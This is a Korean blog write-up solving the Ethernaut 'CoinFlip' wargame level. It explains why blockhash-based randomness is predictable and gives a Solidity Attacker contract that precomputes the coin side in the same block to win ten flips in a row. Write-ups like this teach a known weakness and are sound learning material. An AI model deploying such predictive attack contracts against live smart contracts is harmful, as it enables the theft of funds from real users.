새소식

인기 검색어

Write Up/Ethernaut

[Ethernaut] CoinFlip

  • -
반응형

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

우리의 mission은 초능력을 발휘해서 동전의 면을 10번 연속으로 맞춰야 한다.

함께 초능력을 발휘해 볼까??

코드의 흐름을 보면 blockValue는 blockhash(block.number-1))이다. 이전 blockhash값이랑 현재 blockhash값이랑 같은 경우 error를 발생하는 것을 확인할 수 있다.

그리고 side는 coinflip의 값이 true인지 false인지 확인하고 그 결과값을 side로 T/F로 저장한다. 만약 우리가 맞추면 consecutiveWins의 변수는 증가하고 틀릴 경우 0으로 reset 된다.

운으로 한번 해볼까??

첫 번째

크~~ 맞췄다.

두 번째

틀려따... ㅠㅠ

 

음.. 그럼 어떻게 해야 하지.....??

우리가 coinFlip의 값을 미리 알면 되지 않을까??

 

blockValue를 보면 이전 block의 해시값을 가져와서 FACTOR로 나눈다. 그러면 우리가 새로 contract를 만들어서 flip() 함수를 호출하면 CoinFlip에서 실행되는 flip() 함수와 동일한 블록에 담기게 된다. 이렇게 되면 우리가 계산을 먼저 하고 나온 결과 값은 _guess에 인자로 넣어주면 무조건 맞추게 되어있다!!

 

나는 해당 contract를 풀기 위해 remix를 사용하였다.

coinflip.sol을 새로 만든 다음 CoinFlip contract를 복붙하고 밑에 새로 Attacker contract를 만들었다.

 

contract Attacker{

    CoinFlip coinflip;

    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _address) public {
        coinflip = CoinFlip(_address);    
    }
    
    function flip() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if(lastHash == blockValue){
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        coinflip.flip(side);
    }
}

remix랑 해당 contract랑 상호작용을 할 때 Environment에 Injected Provider- MetaMask를 누르면 해당 지갑의 주소가 연결된다. 그리고 내가 작성한 Attacker contract를 배포할 때 coinflip의 instance 주소를 넣으면 attacker contract가 생성된다.

그리고 Attacker에 보면 flip의 button이 생성되었다. flip을 누르면 Confirmed Transaction이 뜨면서 정상적으로 작동된다.

consecutiveWins의 값을 보면 증가한 것을 확인할 수 있다.

이러한 행동을 10번 반복하면 된다. 신나지??

헉.. 헉... 이렇게 10번 반복하고 Submit instance를 누르면 Completed level이 뜬다!!!

 

반응형

'Write Up > Ethernaut' 카테고리의 다른 글

[Ethernaut] Preservation  (0) 2023.02.01
[Ethernaut] Telephone  (0) 2023.01.30
[Ethernaut] Fallout  (0) 2023.01.29
[Ethernaut] Fallback  (0) 2023.01.29
[Ethernaut] Hello Ethernaut  (0) 2023.01.28
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.